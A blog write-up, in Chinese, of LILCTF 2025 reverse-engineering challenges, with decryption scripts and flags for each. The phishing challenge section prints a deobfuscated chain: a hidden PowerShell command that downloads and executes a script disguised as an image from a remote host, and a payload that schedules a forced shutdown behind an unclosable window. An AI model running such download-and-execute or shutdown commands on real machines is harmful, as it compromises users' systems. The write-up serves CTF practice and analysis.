LILCTF2025逆向题解

LILCTF 2025

ARM ASM

先用jadx看,找到密文

img

反编译so文件,找到主函数,这里一共分为三处加密,第一处通过t表进行重新排列和按位xor,第二处对每三字节进行左循环移3位,右循环移1位,不变的变换,第三处用base64变表的加密

img

这里可以找到t表的内容

img

将以上加密过程逆过来写解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
CUSTOM = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"

decode_map = {ch:i for i,ch in enumerate(CUSTOM)}

def custom_b64decode(s):
out = bytearray()
buf=[]; pad=0
for ch in s:
if ch == '=':
pad += 1; buf.append(0)
else:
buf.append(decode_map[ch])
if len(buf)==4:
b0 = (buf[0]<<2) | (buf[1]>>4)
b1 = ((buf[1]&0xF)<<4) | (buf[2]>>2)
b2 = ((buf[2]&3)<<6) | buf[3]
out.extend([b0,b1,b2])
buf=[]
if pad: out = out[:-pad]
return bytes(out)

def ror(x,r): return ((x>>r) | ((x & ((1<<r)-1))<<(8-r))) & 0xFF
def rol(x,r): return ((x<<r) | (x>>(8-r))) & 0xFF

def inv_neon_block(Y, t):
z = [ y ^ (t[k] & 0xFF) for k,y in enumerate(Y) ]
X = [0]*16
for k,j in enumerate(t):
X[j] = z[k]
return bytes(X)

enc = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"

data = custom_b64decode(enc)

buf = list(data)
for j in range(0, 48, 3):
buf[j] = ror(buf[j], 3)
buf[j+1] = rol(buf[j+1], 1)
after_neon = bytes(buf)


t0 = [0x0D,0x0E,0x0F,0x0C,0x0B,0x0A,0x09,0x08,0x06,0x07,0x05,0x04,0x02,0x03,0x01,0x00]
t2 = [v ^ 1 for v in t0]

X0 = inv_neon_block(after_neon[0:16], t0)
X1 = inv_neon_block(after_neon[16:32], t0)
X2 = inv_neon_block(after_neon[32:48], t2)

orig = (X0+X1+X2).decode('utf-8')
print(orig)
# -> LILCTF{ez_arm_asm_meow_meow_meow_meow_meow_meow}

1’M no7 A rO6oT

用vs看文本内容,得到看到这一串js代码,提取出来,发现这一段有好多混淆,这里我是利用python一步步解混淆的,可以直接梭,由于代码太长就不贴出来了

这是初始代码

1
2
3
<script>window.resizeTo(0, 0);window.moveTo(-9999, -9999); SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=106;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;
......
eval(SxhM); window.close();</script>

解出第一步,中间内容省略(太长了)

这里贴出解出第一步代码的主要逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function ioRjQN(FVKq){
var ohyLbg= "";
for (var emGK = 0; emGK < FVKq.length; emGK++){
var ndZC = String.fromCharCode(FVKq[emGK] - 601);
ohyLbg = ohyLbg + ndZC
}
return ohyLbg
};

var ohyLbg = ioRjQN([713, 712, 720, ... , 642]);
// 这里 ohyLbg 就是被解密出来的实际 payload

var emGK = ioRjQN([688,684,700,715,706,713,717,647,684,705,702,709,709]);
// 这里解密出来的是一个 ActiveX 对象名字,例如 "WScript.Shell"

var ioRjQN = new ActiveXObject(emGK);
ioRjQN.Run(ohyLbg, 0, true);

第二层解出是一个powershell命令

1
2
3
4
5
6
7
8
9
10
11
powershell.exe -w 1 -ep Unrestricted -nop `
$EFTE = (
[regex]::Matches(
'a5a9b49fb8adbe...(一大串16进制字符)...', '.{2}'
) | % {
[char]([Convert]::ToByte($_.Value,16) -bxor '204')
}
) -join '';

& $EFTE.Substring(0,3) $EFTE.Substring(3)

十六进制字符串 (a5a9b49fb8adbe...)被正则分成 2 位一组(即 "a5", "a9", "b4"…)。

转成字节再异或 204

1
[Convert]::ToByte($_.Value,16) -bxor 204

拼接成字符串,得到一个完整的命令/脚本,赋值给 $EFTE

1
& $EFTE.Substring(0,3) $EFTE.Substring(3)
  • $EFTE 前 3 个字符作为程序名(可能是 "cmd""iex")。
  • 剩下部分是参数/脚本。
  • 最后动态执行。

解密这一层得到第三层代码,

这段代码在隐藏窗口下启动powershell,然后执行’http://…/bestudding.jpg,我们可以直接在浏览器窗口下载这个jpg

1
iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','h','-ep','Unrestricted','-Command',"Set-Variable 3 'http://challenge.xinshi.fun:40341/bestudding.jpg';SI Variable:/Z4D 'Net.WebClient';cd;SV c4H (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|Get-Member)[2].Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|Get-Member|Where{(GV _).Value.Name-clike'*dName'}).Name).Invoke('Ne*ct',1,1))(LS Variable:/Z4D).Value);SV A ((((Get-Variable c4H -ValueO)|Get-Member)|Where{(GV _).Value.Name-clike'*wn*d*g'}).Name);&([ScriptBlock]::Create((Get-Variable c4H -ValueO).((Get-Variable A).Value).Invoke((Variable 3 -Val))))";

将图片用vs打开查看文本内容,得到这么一串

1
('(' | % { $r = + $() } { $u = $r } { $b = ++ $r } { $q = ( $r = $r + $b ) } { $z = ( $r = $r + $b ) } { $o = ($r = $r + $b ) } { $d = ($r = $r + $b ) } { $h = ($r = $r + $b ) } { $e = ($r = $r + $b ) } { $i = ($r = $r + $b ) } { $x = ($q *( $z) ) } { $l = ($r = $r + $b) } { $g = "[" + "$(@{ })"[$e ] + "$(@{ })"[ "$b$l" ] + "$(@{ } ) "[ "$q$u" ] + "$?"[$b ] + "]" } { $r = "".("$( @{} ) "[ "$b$o" ] + "$(@{}) "[ "$b$h"] + "$( @{ } )"[$u] + "$(@{} )"[$o] + "$? "[ $b] + "$( @{})"[$z ]) } { $r = "$(@{ } )"[ "$b" + "$o"] + "$(@{ }) "[$o ] + "$r"["$q" + "$e" ] } ) ; " $r ($g$z$x+$g$x$i+$g$b$u$b+$g$l$i+$g$b$b$e+$g$b$u$z+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u......

这一串就是加密的过程,$r 是核心变量。

最终结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
$DebugPreference = $ErrorActionPreference = $VerbosePreference = $WarningPreference = "SilentlyContinue"

[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")

shutdown /s /t 600 >$Null 2>&1

$Form = New-Object System.Windows.Forms.Form
$Form.Text = "Ciallo~(∠·ω< )⌒★"
$Form.StartPosition = "Manual"
$Form.Location = New-Object System.Drawing.Point(40, 40)
$Form.Size = New-Object System.Drawing.Size(720, 480)
$Form.MinimalSize = New-Object System.Drawing.Size(720, 480)
$Form.MaximalSize = New-Object System.Drawing.Size(720, 480)
$Form.FormBorderStyle = "FixedDialog"
$Form.BackColor = "#0077CC"
$Form.MaximizeBox = $False
$Form.TopMost = $True


$fF1IA49G = "LILCTF{be_vigilant_against_phishing}"
$fF1IA49G = "N0pe"


$Label1 = New-Object System.Windows.Forms.Label
$Label1.Text = ":)"
$Label1.Location = New-Object System.Drawing.Point(64, 80)
$Label1.AutoSize = $True
$Label1.ForeColor = "White"
$Label1.Font = New-Object System.Drawing.Font("Consolas", 64)

$Label2 = New-Object System.Windows.Forms.Label
$Label2.Text = "这里没有 flag;这个窗口是怎么出现的呢,flag 就在那里"
$Label2.Location = New-Object System.Drawing.Point(64, 240)
$Label2.AutoSize = $True
$Label2.ForeColor = "White"
$Label2.Font = New-Object System.Drawing.Font("微软雅黑", 16)

$Label3 = New-Object System.Windows.Forms.Label
$Label3.Text = "你的电脑将在 10 分钟后关机,请保存你的工作"
$Label3.Location = New-Object System.Drawing.Point(64, 300)
$Label3.AutoSize = $True
$Label3.ForeColor = "White"
$Label3.Font = New-Object System.Drawing.Font("微软雅黑", 16)

$Form.Controls.AddRange(@($Label1, $Label2, $Label3))

$Form.Add_Shown({$Form.Activate()})
$Form.Add_FormClosing({
$_.Cancel = $True
[System.Windows.Forms.MessageBox]::Show("不允许关闭!", "提示", [System.Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)
})

$Form.ShowDialog() | Out-Null

LILCTF{be_vigilant_against_phishing}

Qt_Creator

题目给的是一个安装包,下载下来后直接安装文件,就是一个登录的页面,要求输入注册码,注册码就是flag,所以解题的思路就是通过分析安装得到的文件得到注册码

整体来说这个题目难度不大,但是需要一步步动调来确定输入函数的位置

image-20250820005109524

安装好的demo_code_editor.exe打开拖入ida

image-20250820004857888

我们直接进入ida时看到的主函数入口是winmain,也可以从那里开始进行调试,这道题就是动调找主要函数的过程。

如果没有什么思路,我们就可以直接从start函数这里开始调试

image-20250820004740860

进入sub_401150函数,我们可以利用动调或者直接分析函数内容

image-20250820005827378

sub_417C00就是入口函数,点进去也能看到这个窗口程序的主函数winmain

image-20250820010117080

可以在函数开头下断点,然后f8一步步动调

image-20250820010341303

发现在sub_4015E0函数处就直接退出了,说明有反调试

image-20250820010432571

可以在反调试的跳转函数那里下断点,在动调的时候改zf,或者直接将jz改为jmp(74改为EB)

image-20250820010446802

image-20250820010938002

顺便把exit退出函数给nop掉,然后patch保存,这样就顺利地反反调试了

image-20250820011418960

继续调试,发现程序在运行到sub_403400函数的时候跳出让用户输入注册码,随便输入之后发现程序就直接退出了

image-20250820011626032

重新调试,在sub_403400函数下断点然后f7进去一步步调试,发现在QDialog::exec这里让用户输入

image-20250820011955496

重新调试,进入QDialog::exec函数一步步调试image-20250820013636591

在调试的过程中也可以发现QDialog::exec函数其实是一个窗口生成和输入的函数,在这里的调试过程中随便输入验证不会跳出exit,说明我们没有触碰到exit,也说明我们快接近验证字符串的函数部分了。

image-20250820014308177

继续动调,一直到最后看到的退出exit函数,这里没什么技巧,一直f8

直接跟踪这个函数,于是发现了sub_410100函数

image-20250820013052924

发现这里的QLineEdit::text() → 得到输入的字符串(Qt 的QString),这个函数就是用来验证输入的字符串的,我们成功找到了真正的flag存在的位置,

image-20250820013233998

在 QLineEdit::text(*(a1[6] + 20));下断点重新调试

然后再次在QDialog::exec函数输入注册码之后就会跳转到sub_410100,然后再返回看a1的内容,就能得到flag

image-20250820015506728

LILCTF{Q7_cre4t0r_1s_very_c0nv3ni3nt}

obfusheader.h

这题本来想去除花指令,就是一个jz跳转的花指令,但是有点多,就没有去除,好在汇编不太难,可以直接看出加密逻辑

可以通过搜索字符串找到关键函数的位置,也可以在初始函数这里找到(做过好多道题,一般都会在start函数里的code处是主函数入口)

image-20250827223612464

在输入flag这里下断点

image-20250827223629947

这里如果输入的字符串长度不对就会直接退出,可以通过调试发现寄存器rax为0x28,长度为40,然后输入之后下硬件断点

image-20250827223926343

第一次调试直接按f9,到这里,这里就是一个比较长度的函数

image-20250827220320351

这里两次调试是与一个随机数异或

image-20250827220338332

将xor结束后的测试密文提取出来得到随机数xor的key

image-20250827222911255

1
key[]={0x76,0x4c,0xb8,0x7d,0x64,0x47,0xf8,0x50,0xa7,0x43,0xc8,0x33,0x87,0x67,0xd4,0x69,0x7e,0x4c,0x41,0x61,0x64,0x40,0xa5,0x0f,0x13,0x4d,0xa9,0x7f,0xf9,0x21,0xc0,0x5c,0x76,0x17,0x9e,0x75,0xfd,0x01,0x4c,0x33}

第四次调试,我没有去除花指令,但也不太影响看汇编,这里就是位运算,将高四位和低四位调换位置

第五次调试,这里就是按位取反

image-20250827225146843

第六次到这里,cmp比较指令,可以得到密文

image-20250827224524025

提取出的密文:

1
enc[]={0x5C,0xAF,0xB0,0x1C,0xFC,0xEF,0xC7,0x8D,0x1,0x88,0x36,0x39,0x11,0xBE,0x47,0x2F,0x5B,0x48,0xFD,0xFA,0x2D,0xF8,0xD0,0xFA,0xFA,0x3F,0x81,0xFD,0xA6,0x9E,0x6,0x59,0xCE,0x7B,0x40,0xBE,0x65,0xBB,0xDF,0x1B}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
key = [0x76, 0x4C, 0xB8, 0x7D, 0x64, 0x47, 0xF8, 0x50, 0xA7, 0x43,
0xC8, 0x33, 0x87, 0x67, 0xD4, 0x69, 0x7E, 0x4C, 0x41, 0x61,
0x64, 0x40, 0xA5, 0x0F, 0x13, 0x4D, 0xA9, 0x7F, 0xF9, 0x21,
0xC0, 0x5C, 0x76, 0x17, 0x9E, 0x75, 0xFD, 0x01, 0x4C, 0x33]

enc = [0x5C, 0xAF, 0xB0, 0x1C, 0xFC, 0xEF, 0xC7, 0x8D, 0x01, 0x88,
0x36, 0x39, 0x11, 0xBE, 0x47, 0x2F, 0x5B, 0x48, 0xFD, 0xFA,
0x2D, 0xF8, 0xD0, 0xFA, 0xFA, 0x3F, 0x81, 0xFD, 0xA6, 0x9E,
0x06, 0x59, 0xCE, 0x7B, 0x40, 0xBE, 0x65, 0xBB, 0xDF, 0x1B]

def swap_high_low4(byte):
high_4 = byte >> 4
low_4 = byte & 0x0F
return (low_4 << 4) | high_4

plaintext_bytes = []
for e_byte, k_byte in zip(enc, key):
not_e = e_byte ^ 0xFF
swapped = swap_high_low4(not_e)
plain_byte = swapped ^ k_byte
plaintext_bytes.append(plain_byte)

plaintext = ''.join([chr(byte) for byte in plaintext_bytes])
print(plaintext)

LILCTF{wH4T_is_d47a1I0W_CAN_l7_6e_eaTEN}

Oh_My_Uboot

看官方的wp利用qemu进行调试来着,这个方法我还没试,可能出题人忘记隐藏字符串了~

可以通过搜索字符串直接找到关键密文

image-20250828010908027

然后交叉引用找到主函数

image-20250828011057625

unk_6086D357数据会被sub_60813F74解密,这部分应该输出类似英文提示信息

核心校验函数 sub_60813E3C,生成自定义的base58表

生成的表是

1
<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghi

最后不要忘记xor 72!!

完整脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
alphabet = "".join(chr(i) for i in range(0x30, 0x30+58))
decode_map = {c: i for i, c in enumerate(alphabet)}

def custom_base58_decode(s):
num = 0
for ch in s:
num = num * 58 + decode_map[ch]
out = []
while num > 0:
out.append(num & 0xFF)
num >>= 8
return bytes(reversed(out))

cipher = "5W2b9PbLE6SIc3WP=X6VbPI0?X@HMEWH;"
decoded = custom_base58_decode(cipher)

plain = bytes(b ^ 0x72 for b in decoded)
print(plain)

LILCTF{Ub007_1s_v3ry_ez}


LILCTF2025逆向题解
https://j1nxem-o.github.io/2025/08/28/LILCTF2025逆向题解/
作者
J1NXEM
发布于
2025年8月28日
更新于
2025年10月9日
许可协议